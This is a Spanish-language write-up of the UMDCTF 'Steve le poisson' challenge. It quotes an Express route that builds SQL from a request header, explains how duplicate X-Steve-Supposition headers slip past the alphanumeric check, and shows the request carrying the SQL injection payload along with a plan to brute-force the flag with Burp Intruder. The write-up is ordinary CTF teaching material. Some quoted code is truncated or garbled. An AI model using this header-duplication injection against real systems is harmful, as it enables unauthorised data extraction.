

Había una web con backend en python con una ruta vulnerable a inyección sql, SQLite específicamente:

```
app.get('/deviner', async (req, res) => {
  // 🐡 Ouverture de la base de données SQLite
  const db = await sqlite.open({
    filename: "./database.db", // Chemin vers la base de données
    driver: sqlite3.Database // Le moteur utilisé
  });

  // 📄 Exécution d'une requête SQL : on cherche si la supposition de Steve est correcte
  const rows = await db.all(`SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'`);
  console.log(req.get("x-steve-supposition"));
  res.status(200); // 🐡 Tout va bien, en apparence

  // 🐡 Si aucune ligne ne correspond, Steve se moque gentiment de toi
  if (rows.length === 0) {
    res.send("Bah, tu as tort."); // Pas de flag pour toi
  } else {
    res.send("Tu as raison!"); // Le flag était bon. Steve t'accorde son respect.
  }
});
```

pero había que pasar varias validaciones antes de llegar a esta parte:

A modo de traza comenté la respuesta del servidor en cada una de las validaciones para poder ubicarme en cual me estaba quedando.

```
// Steve, ce poisson à la sensibilité exacerbée, déteste les en-têtes trop longs, ambigus o
function checkBadHeader(headerName, headerValue) {
  return headerName.length > 80 ||
    (headerName.toLowerCase() !== 'user-agent' && headerValue.length > 80) ||
    headerValue.includes('\0'); // Le caractère nul ? Un blasphème pour Steve.
}
```

```
// 🐡 Middleware pour autoriser les requêtes Cross-Origin
```

```
// * Si un en-tête ne plaît pas à Steve, il coupe net la communication
if (checkBadHeader(headerName, headerValue)) {
  // return res.status(403).send('Steve/le poisson, un animal marin d'apparence inoffensive mais d'opinion tranchée, n'a jamais vraiment supporté tes en-têtes HTTP. Chaque fois qu'il en voit passer un – même sans savoir de quoi il s'agit exactement – son œil vitreux se plisse, et une sorte de grondement bouillonne dans ses branchies. Ce n'est pas qu'il les comprenne, non, mais il les sent, il les ressent dans l'eau comme une vibration mal alignée, une dissonance numérique qui le met profondément mal à l'aise. Il dit souvent, en tournoyant d'un air dramatique : « Pourquoi tant de formalisme ? Pourquoi cacher ce qu'on est vraiment derrière des chaînes de caractères obscures ? » Pour lui, ces en-têtes sont comme des algues synthétiques : inutiles, prétentieuses, et surtout étrangères à la fluidité du monde sous-marin. Il préférerait mille fois un bon vieux flux binaire brut, sans tous ces ornements absurdes. C'est une affaire de principe.');
```

```
return res.status(403).send("Primera Validacion")
}
```

```

ut, sans tous ces ornements absurdes. C'est une affaire de principe.)); // Message dramatique de Steve
    return res.status(403).send("Primera Validacion")
}

// Si on trouve l'en-tête "X-Steve-Supposition", on le garde
if (headerName.toLowerCase() === 'x-steve-supposition') {
    steveHeaderValue = headerValue;
}

totalHeaders++; // On incrémente notre compteur de verbosité HTTP
}

// Trop d'en-têtes ? Steve explose. Littéralement.
console.log(totalHeaders)
if (totalHeaders > 30) {
    return res.status(403).send(`Steve le poisson, qui est orange avec de longs bras musclés et des jambes nerveuses, te fixe avec ses grands yeux globuleux. "Franchement," grogne-t-il en agitant une nageoire transformée en doigt accusateur, "tu abuses. Beaucoup trop d'en-têtes HTTP. Tu crois que c'est un concours ? Chaque requête que tu envoies, c'est un roman. Moi, je dois nager dans ce flux verbeux, et c'est moi qui me note ! T'as entendu parler de minimalisme ? Non ? Et puis c'est quoi ce délire avec des en-têtes dupliqués ? Tu crois que le serveur, c'est un psy, qu'il doit tout écouter deux fois ? Retiens-toi la prochaine fois, ou c'est moi qui coupe la connexion."`); // Encore un monologue dramatique de Steve
    return res.status(403).send("Segunda Validacion")
}

```

```

// Validation de la structure de la supposition : uniquement des caractères honorables
if (!/^[a-zA-Z0-9]+$/.test(steveHeaderValue)) {
    return res.status(403).send(`Steve le poisson, ce poisson orange à la peau luisante et aux nageoires musclées, unique au monde, capable de nager sur la terre ferme et de marcher dans l'eau comme si c'était une moquette moelleuse, te regarde avec ses gros yeux globuleux remplis d'une indignation abyssale. Il claque de la langue - oui, car Steve a une langue, et elle est très expressive - en te voyant saisir ta supposition dans le champ prévu, un champ sacré, un espace réservé aux caractères honorables, alphabétiques et numériques, et toi, misérable bipède aux doigts témérairement chaotiques, tu as osé y glisser des signes de ponctuation, des tilde, des dièses, des dollars, comme si c'était une brocante de symboles oubliés. Tu crois que c'est un terrain de jeu, hein ? Mais pour Steve, ce champ est un pacte silencieux entre l'humain et la machine, une zone de pureté syntaxique. Et te voilà, en train de profaner cette convention sacrée avec ton "%" et ton "@", comme si les règles n'étaient que des suggestions. Steve bat furieusement des pattes arrière - car oui, il a aussi des pattes arrière, pour la traction tout-terrain - et fait jaillir de petites élaboussures d'écume terrestre, signe suprême de sa colère. "Pourquoi ?" te demande-t-il, avec une voix grave et solennelle, comme un vieux capitaine marin échoué dans un monde digital. "Pourquoi chercher la dissonance quand l'harmonie suffisait ? Pourquoi saboter la beauté simple de 'azAZ09' avec tes gribouillages postmodernes ?" Et puis il s'ap

```

La mas importante era esta última, que tomaba el valor de la cabecera y no permitía que se incluyese ningún carácter usado en inyecciones sql, pero había un pequeño fallo:

```

for (let i = 0; i < req.rawHeaders.length; i += 2) {
    let headerName = req.rawHeaders[i];
    let headerValue = req.rawHeaders[i + 1];

    // Si un en-tête ne plaît pas à Steve, il coupe net la communication
    if (checkBadHeader(headerName, headerValue)) {
        return res.status(403).send(`Steve le poisson, un animal marin d'apparence inoffensive mais d'opinion jamais vraiment supporté tes en-têtes HTTP. Chaque fois qu'il en voit passer un - même sans savoir de quoi il s'agit - son œil vitreux se plisse, et une sorte de grondement bouillonne dans ses branchies. Ce n'est pas qu'il les sent, mais il les sent, il les ressent dans l'eau comme une vibration mal alignée, une dissonance numérique qui le t mal à l'aise. Il dit souvent, en tournoyant d'un air dramatique : « Pourquoi tant de formalisme ? Pourquoi ces en-têtes vraiment derrière des chaînes de caractères obscures ? » Pour lui, ces en-têtes sont comme des algues synthétiques, prétentieuses, et surtout étrangères à la fluidité du monde sous-marin. Il préférerait mille fois un bon vieux rut, sans tous ces ornements absurdes. C'est une affaire de principe.)); // Message dramatique de Steve
        return res.status(403).send("Primera Validacion")
    }

    // Si on trouve l'en-tête "X-Steve-Supposition", on le garde
    if (headerName.toLowerCase() === 'x-steve-supposition') {
        steveHeaderValue = headerValue;
    }

    totalHeaders++; // On incrémente notre compteur de verbosité HTTP
}

```

Este bucle iba actualizando el valor de esta variable que se comprobaba en la validación con el valor de la cabecera en cuestión **X-Steve-Supposition** de manera que si pasabas varias veces esta cabecera, la variable guardaría el último valor de esta.

El error está en que luego en la consulta sql, no se usa esta variable, sino que se usa la cabecera http directamente, y el valor que se toma es el de la primera cabecera:

```
// 📁 Exécution d'une requête SQL : on cherche si la supposition de Steve est correcte
const rows = await db.all(`SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'`);
console.log(req.get("x-steve-supposition"))
res.status(200); // 📁 Tout va bien, en apparence
```

De manera que podemos enviar la cabecera varias veces, con el payload en la primera de estas y se lograría acontecer la inyección SQL, error based en este caso.

```
10 <!DOCTYPE html>
11 <html lang="en">
12   <head>
13     <meta charset="utf-8">
14     <title>
15       Error
16     </title>
17   </head>
18   <body>
19     <pre>
20       Error: SQLITE_ERROR: unrecognized token:
21       &quot;}&quot;;
22     </pre>
23   </body>
24 </html>
```

<pre>1 GET /deviner HTTP/2 2 Host: steve-le-poisson-api.challs.umdctf.io 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0 4 Accept: */* 5 Accept-Language: es-ES;q=0.8,en-US;q=0.5,en;q=0.3 6 Accept-Encoding: gzip, deflate, br, zstd 7 Referer: https://steve-le-poisson.challs.umdctf.io/ 8 X-Steve-Supposition: ' or value GLOB 'JMDCTF{ile5TVR4IM3NtTresbEAu}'-- - 9 X-Steve-Supposition: {} 10 11 X-Steve-Supposition: {} 12 13 X-Steve-Supposition: {} 14 15 X-Steve-Supposition: {} 16 X-Steve-Supposition: {} 17 X-Steve-Supposition: {} 18 X-Steve-Supposition: {} 19 X-Steve-Supposition: {} 20 X-Steve-Supposition: {} 21 X-Steve-Supposition: {} 22 X-Steve-Supposition: {} 23 X-Steve-Supposition: {}</pre>	<pre>1 HTTP/2 200 OK 2 Access-Control-Allow-Origin: * 3 Content-Type: text/html; charset=utf-8 4 Date: Sat, 26 Apr 2025 05:02:21 GMT 5 Etag: W/"d-DPtoqvEp5otIj4FHsGx6Sh2Z5RM" 6 X-Powered-By: Express 7 Content-Length: 13 8 9 Tu as raison!</pre>
---	---

La web devolvía la frase **Tu as raison** si la consulta era exitosa y **Bah, tu as tort.** si la consulta no era correcta, por lo que nos pudimos basar en esto para recuperar la flag haciendo fuerza bruta caracter a caracter usando el Intruder de Buprsuite.